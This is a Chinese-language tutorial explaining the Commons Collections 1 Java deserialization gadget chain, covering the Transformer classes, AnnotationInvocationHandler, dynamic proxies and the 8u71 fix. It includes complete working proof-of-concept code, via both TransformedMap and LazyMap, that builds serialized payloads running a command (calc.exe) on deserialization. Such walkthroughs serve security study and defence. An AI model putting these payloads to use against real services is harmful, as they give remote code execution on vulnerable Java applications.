一、源起
1、代码示例
既然学习cc1链,那么总要先了解下cc1链能造成任意代码执行的原因,这里引用P神的代码来进行讲解:
ps:环境使用:
- CommonsCollections <= 3.2.1
- java < 8u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class ccTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
执行上述代码,就可以调用本机的计算器
2、代码类及方法解释
上述代码利用到了TransformedMap类和Transformer接口、ConstantTransformer类、InvokerTransformer类、ChainedTransformer类,我们先理解这几个类及接口的作用,再进一步理解造成cc1链的利用原理。
(1)TransformedMap类
TransformedMap用于对java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。上述代码的中对InnerMap进行修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valuetransformer是处理新元素的value的回调。 这里多次说到“回调”,其实是一个实现Transformer接口的类
(2)Transformer 接口
Transformer是个接口,它只有一个待实现的方法:
public interface Transformer{
public Object transform(Object input);
}
TransformedMap类在转换Map的新元素时,就会调用transform方法, 这个过程类似在调用一个“回调函数”,这个回调的参数就是原始对象。
(3)ConstantTransformer类
ConstantTransformer类是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transformer方法将这个对象再返回。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
其实作用就相当于包装任意一个对象, 在执行回调的时候返回这个对象,进而方便后续操作
(4)InvokerTransformer
InvokerTransformer是实现Transformer接口的一个类,,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。
在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args){
super();
iMethodName = methodName;
iParamTtypes = paramTypes;
iArgs = args;
}
后面的回调transformer方法,就是执行了input对象的iMethodName方法:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
(5)ChainedTransformer类
构造函数解析:
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
构造函数:
- 参数: Transformer[] transformers
- 这是一个 Transformer 对象的数组, 表示将要链式调用的转换器
- super():
- 调用父类的构造函数,确保父类的初始化
- iTransformers = transformers;
- 将传入的转换器数组赋值给类的实例变量 iTransformers 。这个变量用于存储所有的转换器,供后续的 transform 方法使用
tranform方法:
public Object transform(Object object){
for ( int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
方法功能:
- 参数: Object object
- 这是要进行转换的对象,可以是任何类型
- 方法流程:
- 遍历iTransformers 数组: 使用for循环 遍历所有的 Transformer 对象
- 逐个调用 transform 方法: 再循环中,对于当前的 Transformer(iTransformers[i]) 调用其 transform方法,并将结果赋值回 object,这意味这每次调用 transform 都会将当前对象进行转换,并更新object变量为转换后的值
- 返回最终结果:循环结束后,返回经过所有转换器处理后的object
3、理解造成任意代码执行的原因
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
在上述代码中,创建了一个ChainedTransformer对象,其中包含两个Transformer:
- 第一个是ConstantTransformer,返回的是当前环境的Runtime对象;
- 第二个是InvokerTransformer,执行Runtime对象的exec方法,参数是 cale.exe
不过,这个生成的实例transformerChain只是一系列回调,我们需要用其包装一个Map
,使用前面说到的TransformedMap.decorate:
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
那么触发回调也就是如之前所说的向Map中放入一个新元素即可,
outerMap.put("test", "xxxx");
至此,就是CC1链造成任意代码执行的一个原因了,当然这也是最简单的一部分了,经过P神的压缩再压缩,后续再深入研究下如何构造成反序列化的payload。
二、使用TransformedMap构造可用的POC
前面说到,触发漏洞的关键点是有个被TransformedMap修饰包装过的Map,同时需要更新这个Map的键值对。
在上述根因分析中,我们是通过手动执行outerMap.put("test","xxxx");来触发漏洞,但在实际反序列化时,我们需要找到一个类,它能在反序列化的readObject逻辑里有类似的写入操作。
当前分析的一个类就是 sun.reflect.annotation.AnnotationInvocationHandler, 分析它的readObject方法(如下是8u71之前的代码):
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
这里的关键点就是Map.Entry<String, Object> membervalue : memberValues.entrySet() 和memberValue.setValue(....)。 memberValues就是经过反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。 在调用setValue设置值的时候就会触发TransformedMap里注册的Transform(这部分就相当于我们手工执行插入Map元素的步骤),进而执行我们为其精心设计的任意代码。
所以,在构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将其前面构造的HashMap设置进来; 同时因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的 类,不能直接使用new来实例化。这里使用发射获取其构造方法,并将其设置成外部可见,再调用就可以实例化了。
值得注意的是,因为poc是经过序列化的,而在开始的实例demo中,Runtime类是没有实现 java.io.Serializable 接口的,故开始设置的Transformer[] 也需要通过反射实现;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //返回个java.lang.Class对象
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
};
。。。。。。。。
。。。。。。。。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
我们在探讨下 AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个参数是前面构造的Map。那么为什么是Annotation类?为什么又需要使用Retention.class?
在这里我们先结合开始的demo和上述修正后的部分代码,去执行看看,是否能达成我们想要的效果?
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//outerMap.put("test", "xxxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
这时候执行,其实生成了序列化后的数据的,但是实际上并没有弹出电脑的计算器,故并没有达到想要的效果。
public class CommonCollections1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//outerMap.put("test", "xxxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
当然上述执行的poc生成序列化流,仅限于java 8u71之前的版本适用,后续官方已经做过修复,jdk8u/jdk8u/jdk: f8a528d0379d (openjdk.org)
改动后,不再直接 使用反序列化得到的Map 对象,而是新建了一个 LinkedHashMap 对象,并将原来的键值添加进去。所以,后续对 Map 的操作都是基于这个新的 LinkedHashMap 对象,而原来我们精心构造的 Map 不再执 行set 或 put 操作,也就不会触发 RCE 了。
三、使用LazyMap 构造可用的POC
在实际中,ysoserial构造CC1链是用LazyMap而不是TransformedMap,那么我们继续跟进用LazyMap构造一个可用的POC。
1、了解什么是LazyMap
LazyMap和TransformedMap类似,都是来自Common-Collections库,并继承AbstractMapDecorator。 LazyMap的漏洞触发点和TransformedMap唯一的区别就是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。 LazyMap的作用是 懒加载, 在get找不到值的时候,它会调用factory.transform方法去获取一个值。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler的 readObject方法中并没有直接调用到Map的get方法。
所以在ysoserial的利用链中,用AnnotationInvocationHandler类的invoke方法有调用到get:
那么继续进一步又如何能调用到 AnnotationInvocationHandler#invoke 呢?在ysoserial中是利用Java的对象代理。
2、了解对象代理
在 Java 中,代理(Proxy)模式是一种设计模式,通过它可以在不改变现有类的情况下扩展其功能。Java 提供了 java.lang.reflect.Proxy
类和 java.lang.reflect.InvocationHandler
接口来动态创建代理对象。
示例说明:
创建一个动态代理,它可以在对
Map
对象进行操作时记录操作日志。1、定义InvocationHandler
首先,我们需要实现 InvocationHandler 接口,这个接口用于处理代理对象方法的调用。
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map; public class MapProxyHandler implements InvocationHandler { private final Map<String, String> originalMap; public MapProxyHandler(Map<String, String> originalMap){ this.originalMap = originalMap; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{ //记录方法的调用 System.out.println("调用的方法:" + method.getName()); if (args != null){ System.out.println("使用参数: "); for (Object arg : args){ System.out.println(arg); } } //调用原始方法 Object result = method.invoke(originalMap, args); //记录返回值 System.out.println("返回值: " + result); return result; } }
2、创建代理对象
接下来,我们使用
Proxy.newProxyInstance
方法来创建一个代理对象。这个方法需要三个参数:
- 类加载器(
ClassLoader
):用于加载代理类。- 代理接口(
Class<?>[]
):代理类需要实现的接口。InvocationHandler
实现:用于处理方法调用。Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
import java.lang.reflect.Proxy; import java.util.Map; import java.util.HashMap; public class MapProxyDemo { public static void main(String[] args) { //创建一个实际的Map对象 Map<String, String> originalMap = new HashMap<String, String>(); originalMap.put("key1", "value1"); originalMap.put("key2", "value2"); //创建一个 InvocationHandler实例 MapProxyHandler handler = new MapProxyHandler(originalMap); //创建代理对象 Map<String, String> proxyMap = (Map<String, String>) Proxy.newProxyInstance( originalMap.getClass().getClassLoader(), new Class<?>[]{Map.class}, handler ); //使用代理对象 System.out.println("key1 的 值为:" + proxyMap.get("key1")); proxyMap.put("key3", "value3"); System.out.println("key3 的值为:" + proxyMap.get("key3")); } }
3、代码解释
MapProxyHandler
:
- 实现了
InvocationHandler
接口。- 在
invoke
方法中,记录方法调用和返回值,然后调用实际的Map
方法。
MapProxyDemo
:
- 创建了一个实际的
Map
对象originalMap
。- 实例化了
MapProxyHandler
。- 使用
Proxy.newProxyInstance
创建了一个代理对象proxyMap
,它实现了Map
接口。- 使用代理对象执行操作,代理会在控制台上记录方法调用的信息。
4、运行结果
3、使用LazyMap构造利用链
参考TransformedMap的POC,进行修改,首先用LazyMap替换TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
紧接着,我们需要对 sun .reflect.annotation.AnnotationInvocationHandler 对象进行Proxy代理:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
代理后的对象叫做proxyMap,但是这里不能直接对其进行序列化,因为触发入口是sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
所以最终构造的POC如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
4、其他说明
在上述poc中,其实对Transformer数组,为什么最后会增加一个 ConstantTransformer(1)
ps:当然即使使用LazyMap也仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题,因为使用逻辑不一样了。